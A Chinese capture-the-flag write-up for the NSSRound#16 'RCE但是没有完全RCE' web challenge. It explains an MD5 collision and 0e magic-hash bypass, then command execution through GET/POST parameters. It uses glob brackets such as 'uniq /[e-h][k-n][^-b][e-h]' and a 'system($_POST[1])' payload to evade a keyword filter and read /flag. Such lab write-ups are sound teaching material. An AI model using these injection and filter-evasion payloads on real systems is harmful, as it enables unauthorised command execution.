当前位置: 首页 > news >正文

[NSSRound#16 Basic]RCE但是没有完全RCE

题目代码:
image.png

<?php
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {echo $level2;} else {echo "您!!!!!那么现在阁下又该如何应对呢";}} else {echo "还在用传统方法????";}
} else {echo "来做做熟悉的MD5~";
}

第一个是md5强类型比较,用数组md5_1[]=1&md5_2[]=2不行,那就用md5碰撞,使用payload:

?md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

第二个是md5弱类型比较,
只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会先转换字符串的类型,再进行比较,而在比较时因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等,
使用这些payload都可以:

240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

然后就通过了第一关:
image.png

第二关,访问3z_RC3.php
image.png
GET传参cmd=dir /,POST传参shell=system
因为l被过滤了,用不了ls,所以可以用dir
然后再根目录发现flag
image.png
cat用不了可以用more``uniq等等很多,具体可以参考大佬博客:[http://t.csdnimg.cn/LMuXV](http://t.csdnimg.cn/LMuXV)

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

然后f``l``a``g``?``*都被过滤了,这时候可以用中括号[]来进行正则匹配.
例如[a-z]就表示匹配字母a到字母z中的任意一个字符
那就把GET传的参数改为?cmd=uniq /[e-h][k-n][^-b][e-h]
最后就得到flag了
image.png

NSSCTF{acd8b315-208c-4f87-8365-c697f9db397c}

收集其他师傅的payload:

/3z_RC3.php?cmd=system($_POST[1]);shell=urldecode&1=cat /flag

这里妙就妙在让 s h e l l 形同虚设,让 shell形同虚设,让 shell形同虚设,让cmd自成一个包含函数和参数的完整命令执行。再要绕waf很自然就想到用$_POST[1]来转接。
B站风二西讲解视频【【CTF-web】[NSSRound#16 Basic]RCE但是没有完全RCE】 https://www.bilibili.com/video/BV1zi4y1i78T/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef

相关文章:

  • vue中引入sass、scss
  • mysql B+树索引
  • 第1周:Day 3 - PyTorch与TensorFlow的异同介绍(入门级)
  • cookie和session的工作过程和作用:弥补http无状态的不足
  • 数据结构——单链表上基本操作的实现
  • Docker(七)使用网络
  • 力扣第236题——二叉树的最近公共祖先 (C语言题解)
  • shell编程-3
  • [Python] scikit-learn之mean_squared_error函数(Mean Squared Error(MSE))介绍和使用案例
  • 设计模式——观察者模式
  • Python进程池multiprocessing.Pool
  • Spring第七天(AOP)
  • Red Hat Enterprise Linux 9.3 安装图解
  • docker 使用 vcs/2018 Verdi等 eda 软件
  • python爬虫案例分享
  • 11111111
  • Angular4 模板式表单用法以及验证
  • C# 免费离线人脸识别 2.0 Demo
  • ComponentOne 2017 V2版本正式发布
  • Cumulo 的 ClojureScript 模块已经成型
  •  D - 粉碎叛乱F - 其他起义
  • export和import的用法总结
  • k8s如何管理Pod
  • Laravel 菜鸟晋级之路
  • nodejs调试方法
  • Odoo domain写法及运用
  • python docx文档转html页面
  • Vue源码解析(二)Vue的双向绑定讲解及实现
  • windows下mongoDB的环境配置
  • 阿里研究院入选中国企业智库系统影响力榜
  • 笨办法学C 练习34:动态数组
  • 大型网站性能监测、分析与优化常见问题QA
  • 记一次删除Git记录中的大文件的过程
  • 蓝海存储开关机注意事项总结
  • 如何使用 JavaScript 解析 URL
  • 算法---两个栈实现一个队列
  • 算法-图和图算法
  • 腾讯优测优分享 | 你是否体验过Android手机插入耳机后仍外放的尴尬?
  • 提醒我喝水chrome插件开发指南
  • 译自由幺半群
  • 用简单代码看卷积组块发展
  • 原生JS动态加载JS、CSS文件及代码脚本
  • No resource identifier found for attribute,RxJava之zip操作符
  • HanLP分词命名实体提取详解
  • Semaphore
  • ​LeetCode解法汇总2182. 构造限制重复的字符串
  • ​软考-高级-系统架构设计师教程(清华第2版)【第9章 软件可靠性基础知识(P320~344)-思维导图】​
  • ###51单片机学习(2)-----如何通过C语言运用延时函数设计LED流水灯
  • #在 README.md 中生成项目目录结构
  • (C++20) consteval立即函数
  • (附源码)spring boot建达集团公司平台 毕业设计 141538
  • (附源码)计算机毕业设计ssm高校《大学语文》课程作业在线管理系统
  • (更新)A股上市公司华证ESG评级得分稳健性校验ESG得分年均值中位数(2009-2023年.12)
  • (一)为什么要选择C++
  • (译)2019年前端性能优化清单 — 下篇